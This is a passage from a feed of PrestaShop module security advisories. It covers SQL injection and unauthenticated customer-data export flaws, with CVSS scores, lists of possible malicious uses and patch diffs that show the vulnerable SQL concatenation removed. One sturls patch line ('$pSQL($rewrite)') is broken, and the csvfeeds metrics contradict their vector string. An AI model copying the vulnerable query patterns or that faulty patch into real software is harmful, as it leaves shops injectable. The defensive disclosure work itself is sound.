                         $sql .= "(id_video,id_product,id_store,text_url,language,shop,name_product,type,id_lang)";
                         $sql .= " VALUES ('".$id_video."','".$id_product."','".$id_shop."','";
                         $sql .= "".trim($name_url_array[$value_lang['id_lang']])."','".$value_lang['name']."','";
<span class="gd">-                        $sql .= "".$name_shop."','".$name_product."','".$type_video."','".$value_lang['id_lang']."')";
</span><span class="gi">+                        $sql .= "".pSQL($name_shop)."','".$name_product."','".$type_video."','".$value_lang['id_lang']."')";
</span>                         $db-&gt;query($sql);
                         $ok="3";
                     }
</code></pre></div></div>

<h2 id="other-recommendations">Other recommendations</h2>

<ul>
  <li>It’s recommended to upgrade to the latest version of the module <strong>bavideotab</strong>.</li>
  <li>To help improve the security of your PrestaShop installation, we recommend upgrading to the latest version. One of the benefits of upgrading is that it will disable the use of multiquery executions (separated by semicolons). However, please be aware that this <strong>will not protect</strong> your shop against SQL injection attacks that use the UNION clause to steal data. Additionally, it’s important to note that PrestaShop includes a function called pSQL, which includes a strip_tags function. This helps protect your shop against <a href="https://security.friendsofpresta.org/modules/2023/02/07/stored-xss.html">Stored XSS (also known as XSS T2) of Category 1</a>. If a pSQL function is missing, it could potentially expose your project to critical Stored XSS vulnerabilities due to edge cases. Therefore, it’s crucial to ensure that all relevant functions are properly implemented and used consistently throughout your project.</li>
  <li>Change the default database prefix <code class="language-plaintext highlighter-rouge">ps_</code> with a new longer, arbitrary prefix. Nevertheless, be warned that this is useless against blackhats with DBA senior skill because of a design vulnerability in DBMS</li>
  <li>Activate OWASP 942’s rules on your WAF (Web application firewall), be warned that you will probably break your backoffice and you will need to pre-configure some bypasses against this set of rules.</li>
</ul>

<h2 id="timeline">Timeline</h2>

<table>
  <thead>
    <tr>
      <th>Date</th>
      <th>Action</th>
    </tr>
  </thead>
  <tbody>
    <tr>
      <td>2023-11-11</td>
      <td>Issue discovered during a code review by <a href="https://www.touchweb.fr">TouchWeb.fr</a></td>
    </tr>
    <tr>
      <td>2023-11-11</td>
      <td>Contact Author to confirm version scope by author</td>
    </tr>
    <tr>
      <td>2023-11-15</td>
      <td>Author confirms version scope and provide a patch</td>
    </tr>
    <tr>
      <td>2023-11-15</td>
      <td>Request a CVE ID</td>
    </tr>
    <tr>
      <td>2023-11-30</td>
      <td>Received CVE ID</td>
    </tr>
    <tr>
      <td>2023-12-07</td>
      <td>Publish this security advisory</td>
    </tr>
  </tbody>
</table>

<h2 id="links">Links</h2>

<ul>
  <li><a href="https://buy-addons.com/store/prestashop/module/product-video-youtube-vimeo-tab.html">Author product page</a></li>
  <li><a href="https://nvd.nist.gov/vuln/detail/CVE-2023-48925">National Vulnerability Database</a></li>
</ul>]]></content><author><name>[&quot;TouchWeb.fr&quot;, &quot;202 Ecommerce&quot;, &quot;Friends-Of-Presta.org&quot;]</name></author><category term="modules" /><summary type="html"><![CDATA[In the module “Product Video, Youtube, Vimeo Tab” (bavideotab) up to version 1.0.5 from Buy Addons for PrestaShop, a guest can perform SQL injection in affected versions.]]></summary></entry><entry><title type="html">[CVE-2023-46348] Improper neutralization of SQL parameter in SunnyToo - Urls module for PrestaShop</title><link href="https://security.friendsofpresta.org/modules/2023/12/07/sturls.html" rel="alternate" type="text/html" title="[CVE-2023-46348] Improper neutralization of SQL parameter in SunnyToo - Urls module for PrestaShop" /><published>2023-12-07T00:00:00+00:00</published><updated>2023-12-07T00:00:00+00:00</updated><id>https://security.friendsofpresta.org/modules/2023/12/07/sturls</id><content type="html" xml:base="https://security.friendsofpresta.org/modules/2023/12/07/sturls.html"><![CDATA[<p>In the module “Urls” (sturls) up to version 1.1.13 from SunnyToo for PrestaShop, a guest can perform SQL injection in affected versions.</p>

<h2 id="summary">Summary</h2>

<ul>
  <li><strong>CVE ID</strong>: <a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2023-46348">CVE-2023-46348</a></li>
  <li><strong>Published at</strong>: 2023-12-07</li>
  <li><strong>Platform</strong>: PrestaShop</li>
  <li><strong>Product</strong>: sturls</li>
  <li><strong>Impacted release</strong>: &lt;= 1.1.11 (1.1.13 fixed the vulnerability - WARNING : see WARNING below)</li>
  <li><strong>Product author</strong>: SunnyToo</li>
  <li><strong>Weakness</strong>: <a href="https://cwe.mitre.org/data/definitions/89.html">CWE-89</a></li>
  <li><strong>Severity</strong>: critical (9.8)</li>
</ul>

<h2 id="description">Description</h2>

<p>Methods <code class="language-plaintext highlighter-rouge">StUrls::hookActionDispatcher</code> and <code class="language-plaintext highlighter-rouge">StUrls::getInstanceId</code> have sensitive SQL calls that can be executed with a trivial http call and exploited to forge a SQL injection.</p>

<p>This exploit uses a hook Dispatcher with forged parameters so you will never know within your conventional frontend logs that it exploits this vulnerability. <strong>You will only see “POST /” inside your conventional frontend logs.</strong> Activating the AuditEngine of mod_security (or similar) is the only way to get data to confirm this exploit.</p>

<p>WARNING : Since we noticed this vulnerability on a 1.1.13 version but the author confirm us that it only affects 1.1.11, be warned that there is maybe manufactured versions in the wild and you should check all version prior to 1.1.13.</p>

<h2 id="cvss-base-metrics">CVSS base metrics</h2>

<ul>
  <li><strong>Attack vector</strong>: network</li>
  <li><strong>Attack complexity</strong>: low</li>
  <li><strong>Privilege required</strong>: none</li>
  <li><strong>User interaction</strong>: none</li>
  <li><strong>Scope</strong>: unchanged</li>
  <li><strong>Confidentiality</strong>: high</li>
  <li><strong>Integrity</strong>: high</li>
  <li><strong>Availability</strong>: high</li>
</ul>

<p><strong>Vector string</strong>: <a href="https://nvd.nist.gov/vuln-metrics/cvss/v3-calculator?vector=AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H">CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H</a></p>

<h2 id="possible-malicious-usage">Possible malicious usage</h2>

<ul>
  <li>Obtain admin access</li>
  <li>Remove data from the associated PrestaShop</li>
  <li>Copy/paste data from sensitive tables to FRONT to expose tokens and unlock admins’s ajax scripts</li>
  <li>Rewrite SMTP settings to hijack emails</li>
</ul>

<h2 id="patch-from-1113">Patch from 1.1.13</h2>

<div class="language-diff highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gd">--- 1.1.13/modules/sturls/sturls.php
</span><span class="gi">+++ XXXXXX/modules/sturls/sturls.php
</span><span class="p">@@ -1288,7 +1288,7 @@</span> class StUrls extends Module
                         FROM '._DB_PREFIX_.'category_lang l
                         LEFT JOIN '._DB_PREFIX_.'category a
                         ON (a.id_category=l.id_category)
<span class="gd">-                        WHERE `link_rewrite` = "'.$top_parent_name.'"
</span><span class="gi">+                        WHERE `link_rewrite` = "'.pSQL($top_parent_name).'"
</span>                         AND a.`active` = 1
                         AND `id_lang` = '.(int)$this-&gt;context-&gt;language-&gt;id
                     );
<span class="p">@@ -1297,7 +1297,7 @@</span> class StUrls extends Module
                     FROM '._DB_PREFIX_.'category_lang l
                     LEFT JOIN '._DB_PREFIX_.'category a
                     ON (a.id_category=l.id_category)
<span class="gd">-                    WHERE `link_rewrite` = "'.$parent_name.'"
</span><span class="gi">+                    WHERE `link_rewrite` = "'.pSQL($parent_name).'"
</span>                     AND a.`active` = 1'.
                     ($top_parent_name ? ' AND `id_parent` = ' . (int)$top_parent_id : '').'
                     AND `id_lang` = '.(int)$this-&gt;context-&gt;language-&gt;id
<span class="p">@@ -1344,11 +1344,11 @@</span> class StUrls extends Module
                 ON (a.id_'.$table.'=l.id_'.$table.')
                 '.($table != 'category' ? 'INNER JOIN '._DB_PREFIX_.$table.'_shop s
                 ON (a.id_'.$table.'=s.id_'.$table.' AND s.id_shop = '.(int)$this-&gt;context-&gt;shop-&gt;id.')' : '').'
<span class="gd">-                WHERE `'.$field.'` = "'.$rewrite.'"
</span><span class="gi">+                WHERE `'.bqSQL($field).'` = "'.pSQL($rewrite).'"
</span>                 AND `id_lang` = '.(int)$this-&gt;context-&gt;language-&gt;id.'
                 '.($is_id_shop ? 'AND l.id_shop='.(int)$this-&gt;context-&gt;shop-&gt;id : '').'
<span class="gd">-                '.($has_ref ? 'AND reference="'.$reference.'"' : '').'
-                '.($id_parent ? 'AND id_parent IN ('.implode(',',$id_parent).')' : '').'
</span><span class="gi">+                '.($has_ref ? 'AND reference="'.pSQL($reference).'"' : '').'
+                '.($id_parent ? 'AND id_parent IN ('.implode(',', array_map('intval', $id_parent)).')' : '').'
</span>                 ');
             if ($id) {
                 Configuration::updateValue($this-&gt;_prefix_st.'sha1_'.$sig, (int)$id);
<span class="p">@@ -1513,7 +1513,7 @@</span> class StUrls extends Module
                         SELECT bl.id_st_blog FROM '._DB_PREFIX_.'st_blog_lang bl
                         INNER JOIN '._DB_PREFIX_.'st_blog_shop bs
                         ON(bl.`id_st_blog` = bs.`id_st_blog`)
<span class="gd">-                        WHERE link_rewrite = "'.$rewrite.'"
</span><span class="gi">+                        WHERE link_rewrite = "'.pSQL($rewrite).'"
</span>                         AND id_lang = '.(int)Context::getContext()-&gt;language-&gt;id.'
                         AND id_shop = '.(int)$this-&gt;context-&gt;shop-&gt;id.'
                         ');
<span class="p">@@ -1536,7 +1536,7 @@</span> class StUrls extends Module
                         SELECT l.id_st_blog_category FROM '._DB_PREFIX_.'st_blog_category_lang l
                         INNER JOIN '._DB_PREFIX_.'st_blog_category_shop s
                         ON(l.`id_st_blog_category` = s.`id_st_blog_category`)
<span class="gd">-                        WHERE link_rewrite = "'.$rewrite.'"
</span><span class="gi">+                        WHERE link_rewrite = "'.$pSQL($rewrite).'"
</span>                         AND id_lang = '.(int)Context::getContext()-&gt;language-&gt;id.'
                         AND id_shop = '.(int)$this-&gt;context-&gt;shop-&gt;id.'
                         ');
</code></pre></div></div>

<h2 id="other-recommendations">Other recommendations</h2>

<ul>
  <li>It’s recommended to upgrade to the latest version of the module <strong>sturls</strong>.</li>
  <li>To help improve the security of your PrestaShop installation, we recommend upgrading to the latest version. One of the benefits of upgrading is that it will disable the use of multiquery executions (separated by semicolons). However, please be aware that this <strong>will not protect</strong> your shop against SQL injection attacks that use the UNION clause to steal data. Additionally, it’s important to note that PrestaShop includes a function called pSQL, which includes a strip_tags function. This helps protect your shop against <a href="https://security.friendsofpresta.org/modules/2023/02/07/stored-xss.html">Stored XSS (also known as XSS T2) of Category 1</a>. If a pSQL function is missing, it could potentially expose your project to critical Stored XSS vulnerabilities due to edge cases. Therefore, it’s crucial to ensure that all relevant functions are properly implemented and used consistently throughout your project.</li>
  <li>Change the default database prefix <code class="language-plaintext highlighter-rouge">ps_</code> with a new longer, arbitrary prefix. Nevertheless, be warned that this is useless against blackhats with DBA senior skills because of a design vulnerability in DBMS</li>
  <li>Activate OWASP 942’s rules on your WAF (Web application firewall), be warned that you will probably break your backoffice and you will need to pre-configure some bypasses against this set of rules.</li>
</ul>

<h2 id="timeline">Timeline</h2>

<table>
  <thead>
    <tr>
      <th>Date</th>
      <th>Action</th>
    </tr>
  </thead>
  <tbody>
    <tr>
      <td>2023-08-31</td>
      <td>Issue discovered during a code review by <a href="https://www.touchweb.fr">TouchWeb.fr</a></td>
    </tr>
    <tr>
      <td>2023-08-31</td>
      <td>Contact Author to confirm versions scope</td>
    </tr>
    <tr>
      <td>2023-09-09</td>
      <td>Author confirm versions scope</td>
    </tr>
    <tr>
      <td>2023-09-16</td>
      <td>Author provide a patch</td>
    </tr>
    <tr>
      <td>2023-10-17</td>
      <td>Request a CVE ID</td>
    </tr>
    <tr>
      <td>2023-10-23</td>
      <td>Received CVE ID</td>
    </tr>
    <tr>
      <td>2023-12-07</td>
      <td>Publish this security advisory</td>
    </tr>
  </tbody>
</table>

<h2 id="links">Links</h2>

<ul>
  <li><a href="https://www.sunnytoo.com/product/prestashop-removing-ids-urls-module-seo-friendly">Author product page</a></li>
  <li><a href="https://nvd.nist.gov/vuln/detail/CVE-2023-46348">National Vulnerability Database</a></li>
</ul>]]></content><author><name>[&quot;TouchWeb.fr&quot;, &quot;202 Ecommerce&quot;, &quot;Friends-Of-Presta.org&quot;]</name></author><category term="modules" /><summary type="html"><![CDATA[In the module “Urls” (sturls) up to version 1.1.13 from SunnyToo for PrestaShop, a guest can perform SQL injection in affected versions.]]></summary></entry><entry><title type="html">[CVE-2023-46354] Exposure of Private Personal Information to an Unauthorized Actor in MyPrestaModules - Orders (CSV, Excel) Export PRO module for PrestaShop</title><link href="https://security.friendsofpresta.org/modules/2023/11/28/ordersexport.html" rel="alternate" type="text/html" title="[CVE-2023-46354] Exposure of Private Personal Information to an Unauthorized Actor in MyPrestaModules - Orders (CSV, Excel) Export PRO module for PrestaShop" /><published>2023-11-28T00:00:00+00:00</published><updated>2023-11-28T00:00:00+00:00</updated><id>https://security.friendsofpresta.org/modules/2023/11/28/ordersexport</id><content type="html" xml:base="https://security.friendsofpresta.org/modules/2023/11/28/ordersexport.html"><![CDATA[<p>In the module “Orders (CSV, Excel) Export PRO” (ordersexport) up to version 5.1.6 from MyPrestaModules for PrestaShop, a guest can download personal information without restriction.</p>

<h2 id="summary">Summary</h2>

<ul>
  <li><strong>CVE ID</strong>: <a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2023-46354">CVE-2023-46354</a></li>
  <li><strong>Published at</strong>: 2023-11-28</li>
  <li><strong>Platform</strong>: PrestaShop</li>
  <li><strong>Product</strong>: ordersexport</li>
  <li><strong>Impacted release</strong>: &lt;= 5.1.6 (5.2.0 fixed the vulnerability - See note below)</li>
  <li><strong>Product author</strong>: MyPrestaModules</li>
  <li><strong>Weakness</strong>: <a href="https://cwe.mitre.org/data/definitions/359.html">CWE-359</a></li>
  <li><strong>Severity</strong>: high (7.5), GDPR violation</li>
</ul>

<h2 id="description">Description</h2>

<p>Due to a lack of permissions control, a guest can access exports from the module which can lead to leak of personal information from the ps_customer/ps_address tables such as firstname / lastname / email / phone number / full postal address</p>

<p>Note : The vulnerability has been seen in a 4.7.1 version and the implicated file has been deleted on version 5.2.0, so we consider all versions up to 5.1.6 as impacted.</p>

<h2 id="cvss-base-metrics">CVSS base metrics</h2>

<ul>
  <li><strong>Attack vector</strong>: network</li>
  <li><strong>Attack complexity</strong>: low</li>
  <li><strong>Privilege required</strong>: none</li>
  <li><strong>User interaction</strong>: none</li>
  <li><strong>Scope</strong>: unchanged</li>
  <li><strong>Confidentiality</strong>: high</li>
  <li><strong>Integrity</strong>: none</li>
  <li><strong>Availability</strong>: none</li>
</ul>

<p><strong>Vector string</strong>: <a href="https://nvd.nist.gov/vuln-metrics/cvss/v3-calculator?vector=AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N">CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N</a></p>

<h2 id="possible-malicious-usage">Possible malicious usage</h2>

<ul>
  <li>Steal personal data</li>
</ul>

<h2 id="other-recommendations">Other recommendations</h2>

<ul>
  <li>You should restrict access to this URI pattern : modules/ordersexport/ to a given whitelist</li>
</ul>

<h2 id="timeline">Timeline</h2>

<table>
  <thead>
    <tr>
      <th>Date</th>
      <th>Action</th>
    </tr>
  </thead>
  <tbody>
    <tr>
      <td>2023-05-28</td>
      <td>Issue discovered during a code review by <a href="https://www.touchweb.fr">TouchWeb.fr</a></td>
    </tr>
    <tr>
      <td>2023-05-28</td>
      <td>Contact PrestaShop Addons security Team to confirm version scope by author</td>
    </tr>
    <tr>
      <td>2023-09-27</td>
      <td>PrestaShop Addons security Team confirms versions scope by author</td>
    </tr>
    <tr>
      <td>2023-10-17</td>
      <td>Request a CVE ID</td>
    </tr>
    <tr>
      <td>2023-10-23</td>
      <td>Received CVE ID</td>
    </tr>
    <tr>
      <td>2023-11-28</td>
      <td>Publish this security advisory</td>
    </tr>
  </tbody>
</table>

<h2 id="links">Links</h2>

<ul>
  <li><a href="https://addons.prestashop.com/en/data-import-export/17596-orders-csv-excel-export-pro.html">PrestaShop addons product page</a></li>
  <li><a href="https://nvd.nist.gov/vuln/detail/CVE-2023-46354">National Vulnerability Database</a></li>
</ul>]]></content><author><name>[&quot;TouchWeb.fr&quot;, &quot;202 Ecommerce&quot;, &quot;Friends-Of-Presta.org&quot;]</name></author><category term="modules" /><summary type="html"><![CDATA[In the module “Orders (CSV, Excel) Export PRO” (ordersexport) up to version 5.1.6 from MyPrestaModules for PrestaShop, a guest can download personal information without restriction.]]></summary></entry><entry><title type="html">[CVE-2023-46353] Improper neutralization of SQL parameter in My Presta.eu - Product Tag Icons Pro for PrestaShop</title><link href="https://security.friendsofpresta.org/modules/2023/11/28/ticons.html" rel="alternate" type="text/html" title="[CVE-2023-46353] Improper neutralization of SQL parameter in My Presta.eu - Product Tag Icons Pro for PrestaShop" /><published>2023-11-28T00:00:00+00:00</published><updated>2023-11-28T00:00:00+00:00</updated><id>https://security.friendsofpresta.org/modules/2023/11/28/ticons</id><content type="html" xml:base="https://security.friendsofpresta.org/modules/2023/11/28/ticons.html"><![CDATA[<p>In the module “Product Tag Icons Pro” (ticons) up to version 1.8.4 from My Presta.eu for PrestaShop, a guest can perform SQL injection in affected versions.</p>

<h2 id="summary">Summary</h2>

<ul>
  <li><strong>CVE ID</strong>: <a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2023-46353">CVE-2023-46353</a></li>
  <li><strong>Published at</strong>: 2023-11-28</li>
  <li><strong>Platform</strong>: PrestaShop</li>
  <li><strong>Product</strong>: ticons</li>
  <li><strong>Impacted release</strong>: &lt;= 1.8.3 (1.8.4 fixed the vulnerability)</li>
  <li><strong>Product author</strong>: MyPresta.eu</li>
  <li><strong>Weakness</strong>: <a href="https://cwe.mitre.org/data/definitions/89.html">CWE-89</a></li>
  <li><strong>Severity</strong>: critical (9.8)</li>
</ul>

<h2 id="description">Description</h2>

<p>The method TiconProduct::getTiconByProductAndTicon() has sensitive SQL calls that can be executed with a trivial http call and exploited to forge a SQL injection.</p>

<h2 id="cvss-base-metrics">CVSS base metrics</h2>

<ul>
  <li><strong>Attack vector</strong>: network</li>
  <li><strong>Attack complexity</strong>: low</li>
  <li><strong>Privilege required</strong>: none</li>
  <li><strong>User interaction</strong>: none</li>
  <li><strong>Scope</strong>: unchanged</li>
  <li><strong>Confidentiality</strong>: high</li>
  <li><strong>Integrity</strong>: high</li>
  <li><strong>Availability</strong>: high</li>
</ul>

<p><strong>Vector string</strong>: <a href="https://nvd.nist.gov/vuln-metrics/cvss/v3-calculator?vector=AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H">CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H</a></p>

<h2 id="possible-malicious-usage">Possible malicious usage</h2>

<ul>
  <li>Obtain admin access</li>
  <li>Remove data from the associated PrestaShop</li>
  <li>Copy/paste data from sensitive tables to FRONT to expose tokens and unlock admins’s ajax scripts</li>
  <li>Rewrite SMTP settings to hijack emails</li>
</ul>

<h2 id="patch-from-183">Patch from 1.8.3</h2>

<div class="language-diff highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gd">--- 1.8.3/modules/ticons/models/TiconProduct.php
</span><span class="gi">+++ 1.8.4/modules/ticons/models/TiconProduct.php
</span><span class="err">...</span>
        LEFT JOIN `' . _DB_PREFIX_ . 'ticon` c ON (a.`id_ticon` = c.`id_ticon`)
<span class="gd">-       LEFT JOIN `' . _DB_PREFIX_ . 'product_lang` b ON (b.`id_product` = a.`id_product` AND b.`id_lang` = ' . (int)Context::getContext()-&gt;language-&gt;id . ') WHERE a.id_product ="' . $id_product . '" ' . Shop::addSqlRestriction(false, 'b') . ' AND a.id_ticon="' . $id_ticon . '"');
</span><span class="gi">+       LEFT JOIN `' . _DB_PREFIX_ . 'product_lang` b ON (b.`id_product` = a.`id_product` AND b.`id_lang` = ' . (int)Context::getContext()-&gt;language-&gt;id . ') WHERE a.id_product ="' . (int) $id_product . '" ' . Shop::addSqlRestriction(false, 'b') . ' AND a.id_ticon="' . (int) $id_ticon . '"');
</span>    }
</code></pre></div></div>

<h2 id="other-recommendations">Other recommendations</h2>

<ul>
  <li>It’s recommended to upgrade to the latest version of the module <strong>ticons</strong>.</li>
  <li>To help improve the security of your PrestaShop installation, we recommend upgrading to the latest version. One of the benefits of upgrading is that it will disable the use of multiquery executions (separated by semicolons). However, please be aware that this <strong>will not protect</strong> your shop against SQL injection attacks that use the UNION clause to steal data. Additionally, it’s important to note that PrestaShop includes a function called pSQL, which includes a strip_tags function. This helps protect your shop against <a href="https://security.friendsofpresta.org/modules/2023/02/07/stored-xss.html">Stored XSS (also known as XSS T2) of Category 1</a>. If a pSQL function is missing, it could potentially expose your project to critical Stored XSS vulnerabilities due to edge cases. Therefore, it’s crucial to ensure that all relevant functions are properly implemented and used consistently throughout your project.</li>
  <li>Change the default database prefix <code class="language-plaintext highlighter-rouge">ps_</code> with a new longer, arbitrary prefix. Nevertheless, be warned that this is useless against blackhats with DBA senior skill because of a design vulnerability in DBMS</li>
  <li>Activate OWASP 942’s rules on your WAF (Web application firewall), be warned that you will probably break your backoffice and you will need to pre-configure some bypasses against this set of rules.</li>
</ul>

<h2 id="timeline">Timeline</h2>

<table>
  <thead>
    <tr>
      <th>Date</th>
      <th>Action</th>
    </tr>
  </thead>
  <tbody>
    <tr>
      <td>2023-08-02</td>
      <td>Issue discovered during a code review by <a href="https://www.touchweb.fr">TouchWeb.fr</a></td>
    </tr>
    <tr>
      <td>2023-08-02</td>
      <td>Contact Author</td>
    </tr>
    <tr>
      <td>2023-09-25</td>
      <td>Author provide a patch</td>
    </tr>
    <tr>
      <td>2023-10-17</td>
      <td>Request a CVE ID</td>
    </tr>
    <tr>
      <td>2023-10-23</td>
      <td>Received CVE ID</td>
    </tr>
    <tr>
      <td>2023-11-28</td>
      <td>Publish this security advisory</td>
    </tr>
  </tbody>
</table>

<h2 id="links">Links</h2>

<ul>
  <li><a href="https://mypresta.eu/modules/front-office-features/product-tag-icons-pro.html">Author product page</a></li>
  <li><a href="https://nvd.nist.gov/vuln/detail/CVE-2023-46353">National Vulnerability Database</a></li>
</ul>]]></content><author><name>[&quot;TouchWeb.fr&quot;, &quot;202 Ecommerce&quot;, &quot;Friends-Of-Presta.org&quot;]</name></author><category term="modules" /><summary type="html"><![CDATA[In the module “Product Tag Icons Pro” (ticons) up to version 1.8.4 from My Presta.eu for PrestaShop, a guest can perform SQL injection in affected versions.]]></summary></entry><entry><title type="html">[CVE-2023-46355] Exposure of Private Personal Information to an Unauthorized Actor in Bl Modules - CSV Feeds PRO module for PrestaShop</title><link href="https://security.friendsofpresta.org/modules/2023/11/23/csvfeeds.html" rel="alternate" type="text/html" title="[CVE-2023-46355] Exposure of Private Personal Information to an Unauthorized Actor in Bl Modules - CSV Feeds PRO module for PrestaShop" /><published>2023-11-23T00:00:00+00:00</published><updated>2023-11-23T00:00:00+00:00</updated><id>https://security.friendsofpresta.org/modules/2023/11/23/csvfeeds</id><content type="html" xml:base="https://security.friendsofpresta.org/modules/2023/11/23/csvfeeds.html"><![CDATA[<p>In the module “CSV Feeds PRO” (csvfeeds) up to version 2.5.2 from Bl Modules for PrestaShop, a guest can download personal information without restriction if the administrator do not force password on feeds.</p>

<h2 id="summary">Summary</h2>

<ul>
  <li><strong>CVE ID</strong>: <a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2023-46355">CVE-2023-46355</a></li>
  <li><strong>Published at</strong>: 2023-11-23</li>
  <li><strong>Platform</strong>: PrestaShop</li>
  <li><strong>Product</strong>: csvfeeds</li>
  <li><strong>Impacted release</strong>: &lt;= 2.5.2 (2.6.1 should fix the vulnerability)</li>
  <li><strong>Product author</strong>: Bl Modules</li>
  <li><strong>Weakness</strong>: <a href="https://cwe.mitre.org/data/definitions/359.html">CWE-359</a></li>
  <li><strong>Severity</strong>: high (7.5), GDPR violation</li>
</ul>

<h2 id="description">Description</h2>

<p>Due to too permissive access control which do not force administrator to use password on feeds, a guest can access exports from the module which can lead to leak of personal information from ps_customer / ps_order table such as name / surname / email / phone number / postal address.</p>

<h2 id="cvss-base-metrics">CVSS base metrics</h2>

<ul>
  <li><strong>Attack vector</strong>: network</li>
  <li><strong>Attack complexity</strong>: low</li>
  <li><strong>Privilege required</strong>: none</li>
  <li><strong>User interaction</strong>: none</li>
  <li><strong>Scope</strong>: unchanged</li>
  <li><strong>Confidentiality</strong>: high</li>
  <li><strong>Integrity</strong>: low</li>
  <li><strong>Availability</strong>: low</li>
</ul>

<p><strong>Vector string</strong>: <a href="https://nvd.nist.gov/vuln-metrics/cvss/v3-calculator?vector=AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N">CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N</a></p>

<h2 id="possible-malicious-usage">Possible malicious usage</h2>

<ul>
  <li>Steal personal data</li>
</ul>

<h2 id="timeline">Timeline</h2>

<table>
  <thead>
    <tr>
      <th>Date</th>
      <th>Action</th>
    </tr>
  </thead>
  <tbody>
    <tr>
      <td>2023-08-27</td>
      <td>Issue discovered during a code review by <a href="https://www.touchweb.fr">TouchWeb.fr</a></td>
    </tr>
    <tr>
      <td>2023-08-27</td>
      <td>Contact PrestaShop Addons security Team to confirm version scope by author</td>
    </tr>
    <tr>
      <td>2023-08-29</td>
      <td>PrestaShop Addons security Team confirm versions scope</td>
    </tr>
    <tr>
      <td>2023-09-18</td>
      <td>Author provide a patch</td>
    </tr>
    <tr>
      <td>2023-10-17</td>
      <td>Request a CVE ID</td>
    </tr>
    <tr>
      <td>2023-10-23</td>
      <td>Received CVE ID</td>
    </tr>
    <tr>
      <td>2023-11-23</td>
      <td>Publish this security advisory</td>
    </tr>
  </tbody>
</table>

<h2 id="other-recommendations">Other recommendations</h2>

<ul>
  <li>You should restrict access to this URI pattern : modules/csvfeeds/api/ and its associated front controller to a given whitelist</li>
</ul>

<h2 id="links">Links</h2>

<ul>
  <li><a href="https://addons.prestashop.com/fr/import-export-de-donnees/47855-csv-feeds-pro.html">PrestaShop addons product page</a></li>
  <li><a href="https://nvd.nist.gov/vuln/detail/CVE-2023-46355">National Vulnerability Database</a></li>
</ul>]]></content><author><name>[&quot;TouchWeb.fr&quot;, &quot;202 ecommerce.com&quot;, &quot;Friends-Of-Presta.org&quot;]</name></author><category term="modules" /><summary type="html"><![CDATA[In the module “CSV Feeds PRO” (csvfeeds) up to version 2.5.2 from Bl Modules for PrestaShop, a guest can download personal information without restriction if the administrator do not force password on feeds.]]></summary></entry><entry><title type="html">[CVE-2023-48188] Improper neutralization of SQL parameter in Opart Devis for PrestaShop</title><link href="https://security.friendsofpresta.org/modules/2023/11/23/opartdevis.html" rel="alternate" type="text/html" title="[CVE-2023-48188] Improper neutralization of SQL parameter in Opart Devis for PrestaShop" /><published>2023-11-23T00:00:00+00:00</published><updated>2023-11-23T00:00:00+00:00</updated><id>https://security.friendsofpresta.org/modules/2023/11/23/opartdevis</id><content type="html" xml:base="https://security.friendsofpresta.org/modules/2023/11/23/opartdevis.html"><![CDATA[<p>In the module “Opart Devis” (opartdevis) up to version 4.6.12 from Opart for PrestaShop, a guest can perform SQL injection in affected versions.</p>

<h2 id="summary">Summary</h2>

<ul>
  <li><strong>CVE ID</strong>: <a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2023-48188">CVE-2023-48188</a></li>
  <li><strong>Published at</strong>: 2023-11-23</li>
  <li><strong>Platform</strong>: PrestaShop</li>
  <li><strong>Product</strong>: opartdevis</li>
  <li><strong>Impacted release</strong>: &gt;= 4.5.18 &amp; &lt;= 4.6.12 (4.6.13 fixed the vulnerability)</li>
  <li><strong>Product author</strong>: Opart</li>
  <li><strong>Weakness</strong>: <a href="https://cwe.mitre.org/data/definitions/89.html">CWE-89</a></li>
  <li><strong>Severity</strong>: critical (9.8)</li>
</ul>

<h2 id="description">Description</h2>

<p>The method <code class="language-plaintext highlighter-rouge">Translate::getModuleTranslation()</code> has a sensitive SQL call that can be executed with a trivial http call and exploited to forge a SQL injection.</p>

<p>This exploit uses a PrestaShop class stappled on all pages and most attackers can conceal the attack during the exploit, so you will never know within your conventional frontend logs that it exploits this vulnerability. <strong>You will only see “POST /” inside your conventional frontend logs.</strong> Activating the AuditEngine of mod_security (or similar) is the only way to get data to confirm this exploit.</p>

<h2 id="cvss-base-metrics">CVSS base metrics</h2>

<ul>
  <li><strong>Attack vector</strong>: network</li>
  <li><strong>Attack complexity</strong>: low</li>
  <li><strong>Privilege required</strong>: none</li>
  <li><strong>User interaction</strong>: none</li>
  <li><strong>Scope</strong>: unchanged</li>
  <li><strong>Confidentiality</strong>: high</li>
  <li><strong>Integrity</strong>: high</li>
  <li><strong>Availability</strong>: high</li>
</ul>

<p><strong>Vector string</strong>: <a href="https://nvd.nist.gov/vuln-metrics/cvss/v3-calculator?vector=AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H">CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H</a></p>

<h2 id="possible-malicious-usage">Possible malicious usage</h2>

<ul>
  <li>Obtain admin access</li>
  <li>Remove data from the associated PrestaShop</li>
  <li>Copy/paste data from sensitive tables to FRONT to expose tokens and unlock admins’s ajax scripts</li>
  <li>Rewrite SMTP settings to hijack emails</li>
</ul>

<h2 id="patch-from-461">Patch from 4.6.1</h2>

<div class="language-diff highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gd">--- 4.6.1/modules/opartdevis/override/classes/Translate.php
</span><span class="gi">+++ 4.6.2/modules/opartdevis/override/classes/Translate.php
</span><span class="err">...</span>
                    LEFT JOIN '._DB_PREFIX_.'customer c ON c.id_customer = a.id_customer 
<span class="gd">-                    WHERE id_opartdevis = '.Tools::getValue('id_opartdevis'));
</span><span class="gi">+                    WHERE id_opartdevis = '.(int) Tools::getValue('id_opartdevis'));
